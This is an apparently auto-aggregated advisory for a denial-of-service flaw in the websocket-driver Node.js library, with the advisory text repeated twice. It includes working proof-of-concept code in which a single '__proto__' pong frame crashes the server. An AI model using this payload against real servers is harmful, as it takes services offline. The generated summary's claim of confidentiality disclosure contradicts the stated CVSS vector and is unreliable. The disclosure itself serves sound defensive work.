CVE-2026-140005 — Faye Websocket-driver-node (< 0.8.0) — CWE-248 · CWE-754
### Summary An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content. ### Details This library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping message content. This means the remote peer can invoke Object properties by sending a pong frame whose payload is the name of an Object method, for example `hasOwnProperty`. If the message names a field whose value is not a function, and the local peer never sent a ping with that content, then the local peer will attempt to call a non-function value, producing an error that crashes the process on Node.js v22 and below. ### Proof of concept Given a server running `websocket-driver`: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) }) server.listen(8000) ``` A client can connect and send a single pong frame with content `__proto__`. This will cause the server to crash. ```js const net = require('net') const ws = require('websocket-driver') let driver = ws.client('ws://127.0.0.1:8000/') let tcp = net.connect(8000, '127.0.0.1') tcp.pipe(driver.io).pipe(tcp) tcp.on('connect', () => { driver.start() driver.pong('__proto__') }) ``` The client can also cause the server to invoke any other Object method, for example `hasOwnProperty`, as an unbound function with no arguments. To the best of our knowledge, none of the built-in Object methods have any destructive effects other than to throw an exception if called incorrectly. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
### Summary An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content. ### Details This library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping message content. This means the remote peer can invoke Object properties by sending a pong frame whose payload is the name of an Object method, for example `hasOwnProperty`. If the message names a field whose value is not a function, and the local peer never sent a ping with that content, then the local peer will attempt to call a non-function value, producing an error that crashes the process on Node.js v22 and below. ### Proof of concept Given a server running `websocket-driver`: ```js const net = require('net') const ws = require('websocket-driver') let server = net.createServer((conn) => { let driver = ws.server() driver.on('connect', () => { if (ws.isWebSocket(driver)) driver.start() }) driver.on('close', () => conn.end()) conn.pipe(driver.io).pipe(conn) }) server.listen(8000) ``` A client can connect and send a single pong frame with content `__proto__`. This will cause the server to crash. ```js const net = require('net') const ws = require('websocket-driver') let driver = ws.client('ws://127.0.0.1:8000/') let tcp = net.connect(8000, '127.0.0.1') tcp.pipe(driver.io).pipe(tcp) tcp.on('connect', () => { driver.start() driver.pong('__proto__') }) ``` The client can also cause the server to invoke any other Object method, for example `hasOwnProperty`, as an unbound function with no arguments. To the best of our knowledge, none of the built-in Object methods have any destructive effects other than to throw an exception if called incorrectly. ### Impact Users running a server using `websocket-driver` to handle WebSocket connections are vulnerable to denial of service triggered by a single frame sent by an unauthenticated client. The only known mitigation is to upgrade to a patched release.
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
CVE-2026-140005
CVSS 7.5/10 · HIGH · 30.11.2026
CWE: CWE-248, CWE-754
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
🎯 WHAT IS THIS VULNERABILITY?
Summary: ### Summary
An unauthenticated remote client can trigger an instant crash and denial of service by sending a WebSocket pong frame with specific content. ### Details
This library lets a WebSocket connection send a ping frame to the remote peer and register a callback for when the corresponding pong frame is received. These callbacks are stored in a JavaScript object and indexed on the ping mes…
Affected: faye websocket-driver-node
⚡ ATTACK VECTOR
Network / Remote (AV:N) · no authentication required (PR:N) · no user interaction (UI:N) · low attack complexity (AC:L).
🌍 REAL WORLD IMPACT
Partial confidentiality disclosure (C:L); service can be completely taken down.
🛡️ REMEDIATION
→ Apply vendor security update for faye websocket-driver-node.
→ Pre-patch: put service behind VPN or apply IP allowlist.
→ Add WAF rule, create IDS alert for anomalous traffic.
⚠️ URGENCY
⚠️ This week (7 days) — High risk, anonymous remote.
────────────────────────────────────────
[Automated Technical Vulnerability & CVSS Vector Analysis]
FOFA Query